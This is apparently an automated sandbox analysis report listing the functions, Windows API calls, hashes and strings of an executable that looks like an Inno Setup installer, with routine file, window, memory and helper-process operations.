Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
Instruction ID: adeaf4ebd0e6cd94d64be6b3cb299443ba394f13a0b1cd3d8337db6b6af80796
Opcode Fuzzy Hash: 4c02731fe18b0a47ab7745946c5e8dd4c7dfafdb2aa22804bebcbb41d9412fbb
Instruction Fuzzy Hash: 53D012722091506AD220965A6C44EAB6BDCCBC5770F11063AB558C2181D7209C01C675

Function 0042364C Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004235F8: SystemParametersInfoA.USER32(00000048,00000000,00000000,00000000), ref: 0042360D

ShowWindow.USER32(00410460,00000009,?,00000000,0041EDA4,0042393A,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00423667

Part of subcall function 00423628: SystemParametersInfoA.USER32(00000049,00000000,00000000,00000000), ref: 00423644

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: InfoParametersSystem$ShowWindow
String ID:
API String ID: 3202724764-0
Opcode ID: f9d193e52d5126cfe9efbfa9bcf6916ba2bc4f4c3adaedc7bbb0d1d6de804fe9
Instruction ID: 3e39ddd90fb628193caaea160b6f4ed5bf244f394cc2da11a07db6b12dca8b82
Opcode Fuzzy Hash: f9d193e52d5126cfe9efbfa9bcf6916ba2bc4f4c3adaedc7bbb0d1d6de804fe9
Instruction Fuzzy Hash: 34D05E123821703142307ABB280699B46EC8D822EB389043BB5449B312ED5DCE01116C

Function 004242C4 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,00000000), ref: 004242DC

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
Instruction ID: e359d8c046b4275bb87a72ac3440150ee0889cd0e7de0465f76ccf46c1161c2e
Opcode Fuzzy Hash: 968e2600307bd84f4d65718215a4df57ccfa9b7919b98356d7a542cd4e907fd2
Instruction Fuzzy Hash: 81D05EE27011602BCB01BAED54C4AC667CC9B8D25AB1840BBF904EF257D638CE40C398

Function 00466B40 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00467828,00000000,00000000,00000000,0000000C,00000000), ref: 00466B58

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction ID: a3a9c25b9c80179eca176ae0059a0aa24e3542550d9dc9bac8dced773014ab2a
Opcode Fuzzy Hash: 1170af52fdfa1b22d402febd08e71c9ecbcd6356f79449625b478cc807a9fefe
Instruction Fuzzy Hash: 0ED09272210A109F8364CAADC9C4C97B3ECEF4C2213004659E54AC3B15D664FC018BA0

Function 0042CD24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,004515CB,00000000), ref: 0042CD2F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
Instruction ID: 53db4a1afaa3b7bebcc80daf879f764776582c58df104e6651e2d127eece83ed
Opcode Fuzzy Hash: 699a035a793c66476b33cfcb292e18e8433149420fa0246697406cd7a61acf8b
Instruction Fuzzy Hash: 48C08CE03222001A9E60A6BD2CC551F06CC891423A3A41E3BB129EB2E2D23D88162818

Function 00406EC0 Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,0040A6D4,0040CC80,?,00000000,?), ref: 00406EDD

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
Instruction ID: fbce42704b7dd2fd8be74a622cf743b4adaa06f64be9adac3ea2875d17ee2119
Opcode Fuzzy Hash: d487f09bce5ab2446fefe52ff91139140134d323c8d44495a9ab4cbc0f9c4527
Instruction Fuzzy Hash: EAC048A13C130032F92035A60C87F16008C5754F0AE60C43AB740BF1C2D8E9A818022C

Function 0045092C Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,?,0045C342,00000000,0045C4CD,?,00000000,00000002,00000002), ref: 00450933

Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,00497F80,00000001,00000000,00000002,00000000,004980E1,?,?,00000005,00000000,00498115), ref: 004506B7

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
Instruction ID: 9573b676cf6dd5fef234c73c81a1a5d02d78d5ca05287b50762f3c98dcfac2da
Opcode Fuzzy Hash: dfd6122944db5b319254e7b77af95d7469dcf5406d44b15aeae4525e96e42585
Instruction Fuzzy Hash: 1AC04CA5700211479F10A6BA85C1A0662D86A5D3157144066BD08CF207D668D8148A18

Function 004072A8 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,?,00497F0E,00000000,004980E1,?,?,00000005,00000000,00498115,?,?,00000000), ref: 004072B3

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
Instruction ID: 2ee9fcf0c2ecb8048618371478a38130c752a95b947e2a8aefd026f579ab26ad
Opcode Fuzzy Hash: 9cfe1b671e2ded52e2a4f1899edd371c25323ab6eac1b77aed394817f5a1d109
Instruction Fuzzy Hash: 33B012E03D120A2BCA0079FE4CC192A00CC46292163401B3B3006EB1C3D83DC8180824

Function 0042E3EF Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042E40D), ref: 0042E400

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
Instruction ID: 426ac138898b17598b25982f2c454791bd479401c65f9a69ae9baa170422678e
Opcode Fuzzy Hash: cb8e2ebd86b0ac1182f6c4657d989dfa6a466ad308997f4b3834ff3b1e7758f7
Instruction Fuzzy Hash: CDB09B7670C6105EE709D6D5B45552D63D4D7C57207E14477F010D2581D57D58054E18

Function 004165EC Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 004165F3

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: DestroyWindow
String ID:
API String ID: 3375834691-0
Opcode ID: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
Instruction ID: 4f6e5339ba6c71e81ef5aec1f6829bfe42d3c8de95bc03762545e97b2cddf6f9
Opcode Fuzzy Hash: 1244af60e57b01067fe56da529b9c4312cbd500fa9ed17bad69dff1823a021af
Instruction Fuzzy Hash: 1AA00275501500AADA00E7B5D849F7E2298BB44204FD905F9714897056C57C99008B55

Function 00448728 Relevance: 1.4, APIs: 1, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a5b427799e3a1a51bee95e3b6531cccdda2c23f0d04629469e10dfbec5d95ca
Instruction ID: 41a6872630840156d23f43a697f0b10540748f54e9aa1b8241e7bbe25a2b1888
Opcode Fuzzy Hash: 6a5b427799e3a1a51bee95e3b6531cccdda2c23f0d04629469e10dfbec5d95ca
Instruction Fuzzy Hash: 73517574E002099FDB00EFA9C892AAFBBF5EB49314F50817AE500E7351DB389D41CB98

Function 0047DEEC Relevance: 1.4, APIs: 1, Instructions: 157COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,0047E0D7,?,?,?,?,00000000,00000000,00000000,00000000), ref: 0047E091

Part of subcall function 0042CA00: GetSystemMetrics.USER32(0000002A), ref: 0042CA12

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ByteCharMetricsMultiSystemWide
String ID:
API String ID: 224039744-0
Opcode ID: e132d2ef04a63de935c4c35b48bd2cf8058ca50829dce82296b65d4ea0831439
Instruction ID: eae35791d74d3c6fa9542b7b93a9934f931fbcb936d4a93fe60c884bc0bffbb6
Opcode Fuzzy Hash: e132d2ef04a63de935c4c35b48bd2cf8058ca50829dce82296b65d4ea0831439
Instruction Fuzzy Hash: 3451B170A00255AFDB20DF65D8C8FAE7BB8EB18308F118177E405A73A1D778AE45CB59

Function 0041F3C4 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
Instruction ID: 3312bc658de40493dbbbdb628fa1ac862c14c743cb2aabe02eeb7d71ec829e14
Opcode Fuzzy Hash: f624f178b2757757f6ee0ed82108e7e17b49aa81eb1cfd09d0e3ddd3732ee692
Instruction Fuzzy Hash: D5115A752007059BCB20DF19D880B82FBE5EF98390F10C53BE9688B385D3B4E8458BA9

Function 00452FC4 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,0045302D), ref: 0045300F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
Instruction ID: b902f5f71593d0acd8113edc39c0d5725662cc955bae9521e0e34912f41e4d76
Opcode Fuzzy Hash: 796ee09302341f2f0fe022b6b7ad64e2259239b3e6510a293da86372227c0e6a
Instruction Fuzzy Hash: 850170356042486FC701DF699C008EEFBE8EB4D76171082B7FC24C3382D7345E059664

Function 0040170C Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,00001C1C,00005C1F,00401973), ref: 00401766

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
Instruction ID: fd45504e6079eb3c344fd15592bdf3984e08e9418c18d248e8b2091ea2ac4f2a
Opcode Fuzzy Hash: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
Instruction Fuzzy Hash: A10120766443148FC3109F29EDC0E2677E8D794378F15453EDA85673A1D37A6C0187D8

Function 00406F48 Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00406F49

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
Instruction ID: 073c3129693101c5e7833b7ffa09eca8aa7a1e81ff9bb2ce6bcaaab03392c7d4
Opcode Fuzzy Hash: 11f5b55454e2001d57305e4d26194660ee260494afc1ae4151642f59c6b90a28
Instruction Fuzzy Hash:

Non-executed Functions

Function 0041F118 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00418FF0,00000000,?,?,?,00000001), ref: 0041F126
SetErrorMode.KERNEL32(00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F142
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F14E
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F15C
GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F18C
GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1B5
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1CA
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1DF
GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1F4
GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F209
GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F21E
GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F233
GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F248
GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F25D
FreeLibrary.KERNEL32(00000001,?,00418FF0,00000000,?,?,?,00000001), ref: 0041F26F

Strings

Ctl3dUnregister, xrefs: 0041F1AA
Ctl3dRegister, xrefs: 0041F181
Ctl3dCtlColorEx, xrefs: 0041F1FE
Ctl3dAutoSubclass, xrefs: 0041F213
Ctl3DColorChange, xrefs: 0041F23D
BtnWndProc3d, xrefs: 0041F252
Ctl3dDlgFramePaint, xrefs: 0041F1E9
Ctl3dSubclassDlgEx, xrefs: 0041F1D4
Ctl3dSubclassCtl, xrefs: 0041F1BF
Ctl3dUnAutoSubclass, xrefs: 0041F228
CTL3D32.DLL, xrefs: 0041F149

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 2323315520-3614243559
Opcode ID: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
Instruction ID: e724c2aa341d6685c6ab1c4031cb88844a897dd828fe35f3324890dc483947ec
Opcode Fuzzy Hash: 62814c6def9f01bce39a36d2c4270fbdb1234b3c2cb706e68bb71ccad2797809
Instruction Fuzzy Hash: 8E314FB2640700ABEB01EBB9AC46A6B3794F328724741093FB508D7192D77C5C55CF5C

Function 004585C8 Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 186pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0045862F
QueryPerformanceCounter.KERNEL32(021D3858,00000000,004588C2,?,?,021D3858,00000000,?,00458FBE,?,021D3858,00000000), ref: 00458638
GetSystemTimeAsFileTime.KERNEL32(021D3858,021D3858), ref: 00458642
GetCurrentProcessId.KERNEL32(?,021D3858,00000000,004588C2,?,?,021D3858,00000000,?,00458FBE,?,021D3858,00000000), ref: 0045864B
CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 004586C1
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,021D3858,021D3858), ref: 004586CF
CreateFileA.KERNEL32(00000000,C0000000,00000000,00499B24,00000003,00000000,00000000,00000000,0045887E), ref: 00458717
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,0045886D,?,00000000,C0000000,00000000,00499B24,00000003,00000000,00000000,00000000,0045887E), ref: 00458750

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 004587F9
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0045882F
CloseHandle.KERNEL32(000000FF,00458874,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00458867

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004984F9,00000000), ref: 0045349F

Strings

helper %d 0x%x, xrefs: 004587D8
i, xrefs: 004587AC
Cannot utilize 64-bit features on this version of Windows, xrefs: 00458610
Helper process PID: %u, xrefs: 0045884C
CreateProcess, xrefs: 00458802
Starting 64-bit helper process., xrefs: 004585FD
64-bit helper EXE wasn't extracted, xrefs: 00458623
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 00458697
CreateNamedPipe, xrefs: 004586DF
D, xrefs: 00458772
CreateFile, xrefs: 00458725
SetNamedPipeHandleState, xrefs: 00458759

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
